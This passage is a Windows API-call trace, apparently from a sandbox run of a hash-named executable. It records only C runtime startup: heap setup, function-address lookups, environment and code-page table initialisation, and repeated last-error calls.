HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.398] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xb00000 [0036.398] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0036.398] GetProcAddress (hModule=0x75130000, lpProcName="FlsAlloc") returned 0x75144ee3 [0036.399] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75141252 [0036.399] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x751441c0 [0036.399] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514354f [0036.399] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x214) returned 0xb007d0 [0036.400] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0036.400] GetCurrentThreadId () returned 0xedc [0036.400] GetStartupInfoW (in: lpStartupInfo=0x2ffaec | out: lpStartupInfo=0x2ffaec*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8726a, hStdOutput=0xb875a3, hStdError=0xb007d0)) [0036.400] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x800) returned 0xb009f0 [0036.400] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0036.400] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0036.400] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0036.400] SetHandleCount (uNumber=0x20) returned 0x20 [0036.400] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\"" [0036.400] GetEnvironmentStringsW () returned 0x734b18* [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1470, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1470 [0036.400] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x5be) returned 0xb011f8 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1470, lpMultiByteStr=0xb011f8, cbMultiByte=1470, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1470 [0036.401] FreeEnvironmentStringsW (penv=0x734b18) returned 1 [0036.401] GetLastError () returned 0x5 [0036.401] SetLastError (dwErrCode=0x5) [0036.401] GetLastError () returned 0x5 [0036.401] SetLastError (dwErrCode=0x5) [0036.401] GetLastError () returned 0x5 [0036.401] SetLastError (dwErrCode=0x5) [0036.401] GetACP () returned 0x4e4 [0036.401] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x220) returned 0xb017c0 [0036.401] GetLastError () returned 0x5 [0036.401] SetLastError (dwErrCode=0x5) [0036.401] IsValidCodePage (CodePage=0x4e4) returned 1 [0036.401] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2ffab4 | out: lpCPInfo=0x2ffab4) returned 1 [0036.401] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2ff580 | out: lpCPInfo=0x2ff580) returned 1 [0036.401] GetLastError () returned 0x5 [0036.401] SetLastError (dwErrCode=0x5) [0036.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ff994, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ff994, cbMultiByte=256, lpWideCharStr=0x2ff2f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.401] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x2ff594 | out: lpCharType=0x2ff594) returned 1 [0036.401] GetLastError () returned 0x5 [0036.401] SetLastError (dwErrCode=0x5) [0036.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ff994, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ff994, cbMultiByte=256, lpWideCharStr=0x2ff2c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ柑鉇魫¸Ā") returned 256 [0036.402] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ柑鉇魫¸Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0036.402] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ柑鉇魫¸Ā", cchSrc=256, lpDestStr=0x2ff0b8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0036.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x2ff894, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿDAA§Ìú/", lpUsedDefaultChar=0x0) returned 256 [0036.402] GetLastError () returned 0x5 [0036.402] SetLastError (dwErrCode=0x5) [0036.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ff994, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ff994, cbMultiByte=256, lpWideCharStr=0x2ff2e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ柑鉇魫¸Ā") returned 256 [0036.402] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ柑鉇魫¸Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0036.402] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ柑鉇魫¸Ā", cchSrc=256, lpDestStr=0x2ff0d8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0036.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x2ff794, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿDAA§Ìú/", lpUsedDefaultChar=0x0) returned 256 [0036.402] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xb8f728, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0036.402] GetLastError () returned 0x0 [0036.402] SetLastError (dwErrCode=0x0) [0036.402] GetLastError () returned 0x0 [0036.402] SetLastError (dwErrCode=0x0) [0036.402] GetLastError () returned 0x0 [0036.402] SetLastError (dwErrCode=0x0) [0036.402] GetLastError () returned 0x0 [0036.402] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.403] SetLastError (dwErrCode=0x0) [0036.403] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.404] SetLastError (dwErrCode=0x0) [0036.404] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.405] GetLastError () returned 0x0 [0036.405] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.406] SetLastError (dwErrCode=0x0) [0036.406] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.407] SetLastError (dwErrCode=0x0) [0036.407] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.408] SetLastError (dwErrCode=0x0) [0036.408] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.409] GetLastError () returned 0x0 [0036.409] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] GetLastError () returned 0x0 [0036.410] SetLastError (dwErrCode=0x0) [0036.410] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x68) returned 0xb019e8 [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () 